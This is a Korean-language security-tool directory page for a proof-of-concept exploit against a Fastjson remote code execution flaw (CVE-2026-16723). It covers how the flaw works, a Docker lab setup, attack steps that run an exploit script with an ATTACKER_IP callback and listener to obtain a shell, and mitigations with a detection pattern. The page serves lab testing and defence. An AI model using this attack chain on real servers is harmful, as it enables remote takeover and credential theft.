Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-16723 — Fastjson RCE(CVE-2026-16723)용 PoC 익스플로잇으로, 자동화된 JAR 페이로드 생성 및 조작된 JSON을 통한 전달 기능을 갖추고 AutoType 제한을 우회합니다. | Kitploit
도구/GitHubGitHub/eqstlab/cve-2026-16723
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationRed TeamingPayload Development
GitHubeqstlab/cve-2026-16723

CVE-2026-16723

Fastjson RCE(CVE-2026-16723)용 PoC 익스플로잇으로, 자동화된 JAR 페이로드 생성 및 조작된 JSON을 통한 전달 기능을 갖추고 AutoType 제한을 우회합니다.

저장소 보기
122일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-16723 Fastjson RCE

★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★


개요

CVE-2026-16723은 Fastjson 1.x(1.2.68 – 1.2.83)의 원격 코드 실행(RCE) 취약점입니다. Fastjson이 공격자가 제어하는 JSON을 파싱할 때, 조작된 @type 값은 checkAutoType 내부의 클래스 리소스 조회로 변환됩니다. Spring Boot 실행 가능 fat-JAR에서는 클래스 로더가 해당 이름을 jar:http:// URL로 해석하여 원격 JAR를 가져오고(SSRF), AutoType이 비활성화되어 있어도 @JSONType 어노테이션을 가진 클래스를 로드합니다. 최신 JDK/Tomcat은 jar:http:// 바이너리 이름을 거부하므로, 신뢰할 수 있는 변형은 JAR를 JVM 캐시에 시드한 뒤 jar:file:/proc/self/fd/N을 통해 다시 읽어 클래스를 정의하고 정적 초기화자가 실행되게 하여 코드 실행을 달성합니다. AutoType은 비활성화된 상태로 유지되며 classpath 가젯은 필요하지 않습니다.


영향을 받는 버전

카테고리버전
취약Fastjson 1.2.68 ≤ 버전 ≤ 1.2.83
패치됨Fastjson 2.x로 마이그레이션(수정된 1.x 릴리스 없음)

영향

  • 서비스 계정으로 원격 코드 실행
  • 호스트 및 환경에서 비밀/자격 증명 노출
  • 영향을 받는 애플리케이션 전체 침해

환경

랩 타깃은 공개 스토어프론트(Northwind Store)이며, 해당 검색 API는 요청 본문을 Fastjson으로 바인딩합니다. 모든 것은 Fastjson의 기본 설정입니다: SafeMode 꺼짐, AutoType 꺼짐, Spring Boot fat-JAR로 패키징됨.

root@kitploit:~
docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723
사전 조건이 랩에서의 상태
Fastjson 1.2.68 – 1.2.831.2.83
Spring Boot 실행 가능 fat-JAR예
인증 없는 JSON 파싱 경로POST /api/products/search
SafeMode / AutoType기본값(둘 다 꺼짐)

PoC

공격자와 타깃은 동일한 Docker 브리지 네트워크에서 실행되므로, 타깃은 아웃바운드 연결로 공격자에게 도달합니다(추가 포트가 게시되지 않음).

1단계: 타깃이 실행 중인지 확인

root@kitploit:~
curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
  -H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'

2단계: 공격자 머신에서 익스플로잇 실행

exploit.py는 페이로드 JAR를 빌드하고, 이를 서빙하고, 리스너를 시작한 뒤 요청 본문을 출력합니다. 콜백 주소만 필요합니다.

root@kitploit:~
python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444

3단계: 페이로드 전달

출력된 본문을 검색 엔드포인트(Burp Repeater 또는 curl)에 붙여넣고 전송하세요. 검색 요청은 정상적인 기능이며, JSON 본문만 조작된 것입니다.

root@kitploit:~
curl -X POST http://TARGET_IP:8080/api/products/search \
  -H 'Content-Type: application/json' --data-binary @body.json

4단계: 결과 확인

코드는 서비스 계정으로 실행됩니다. 획득한 셸을 통해 플래그를 검색하세요:

root@kitploit:~
whoami

완화 조치

  • Fastjson 2.x로 마이그레이션
  • 또는 com.alibaba:fastjson:1.2.83_noneautotype 실행
  • 또는 -Dfastjson.parser.safeMode=true로 JVM 시작
  • 탐지: jar:http 또는 jar:file / /proc/self/fd 패턴을 포함하는 JSON @type 값

분석

  • KR:
  • EN:
도구 다운로드